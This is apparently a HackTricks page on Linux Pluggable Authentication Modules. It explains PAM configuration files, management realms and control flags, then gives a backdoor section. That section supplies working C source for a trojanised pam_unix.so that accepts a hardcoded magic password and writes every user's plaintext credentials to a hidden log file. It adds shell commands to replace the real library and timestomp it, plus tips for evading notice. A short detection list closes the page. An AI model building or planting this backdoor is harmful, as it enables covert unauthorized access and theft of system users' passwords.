PAM - Pluggable Authentication Modules
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
PAM (Pluggable Authentication Modules) acts as a security mechanism that verifies the identity of users attempting to access computer services, controlling their access based on various criteria. It's akin to a digital gatekeeper, ensuring that only authorized users can engage with specific services while potentially limiting their usage to prevent system overloads.
Configuration Files
- Solaris and UNIX-based systems typically utilize a central configuration file located at
/etc/pam.conf
. - Linux systems prefer a directory approach, storing service-specific configurations within
/etc/pam.d
. For instance, the configuration file for the login service is found at/etc/pam.d/login
.
An example of a PAM configuration for the login service might look like this:
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
PAM Management Realms
These realms, or management groups, include auth, account, password, and session, each responsible for different aspects of the authentication and session management process:
- Auth: Validates user identity, often by prompting for a password.
- Account: Handles account verification, checking for conditions like group membership or time-of-day restrictions.
- Password: Manages password updates, including complexity checks or dictionary attacks prevention.
- Session: Manages actions during the start or end of a service session, such as mounting directories or setting resource limits.
PAM Module Controls
Controls dictate the module's response to success or failure, influencing the overall authentication process. These include:
- Required: Failure of a required module results in eventual failure, but only after all subsequent modules are checked.
- Requisite: Immediate termination of the process upon failure.
- Sufficient: Success bypasses the rest of the same realm's checks unless a subsequent module fails.
- Optional: Only causes failure if it's the sole module in the stack.
Example Scenario
In a setup with multiple auth modules, the process follows a strict order. If the pam_securetty
module finds the login terminal unauthorized, root logins are blocked, yet all modules are still processed due to its "required" status. The pam_env
sets environment variables, potentially aiding in user experience. The pam_ldap
and pam_unix
modules work together to authenticate the user, with pam_unix
attempting to use a previously supplied password, enhancing efficiency and flexibility in authentication methods.
Backdooring PAM – Hooking pam_unix.so
A classic persistence trick in high-value Linux environments is to swap the legitimate PAM library with a trojanised drop-in. Because every SSH / console login ends up calling pam_unix.so:pam_sm_authenticate()
, a few lines of C are enough to capture credentials or implement a magic password bypass.
Compilation Cheatsheet
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
Compile and stealth-replace:
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
OpSec Tips
- Atomic overwrite – write to a temp file and
mv
into place to avoid half-written libraries that would lock out SSH. - Log file placement such as
/usr/bin/.dbus.log
blends with legitimate desktop artefacts. - Keep symbol exports identical (
pam_sm_setcred
, etc.) to avoid PAM mis-behaviour.
Detection
- Compare MD5/SHA256 of
pam_unix.so
against distro package. - Check for world-writable or unusual ownership under
/lib/security/
. auditd
rule:-w /lib/security/pam_unix.so -p wa -k pam-backdoor
.
References
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.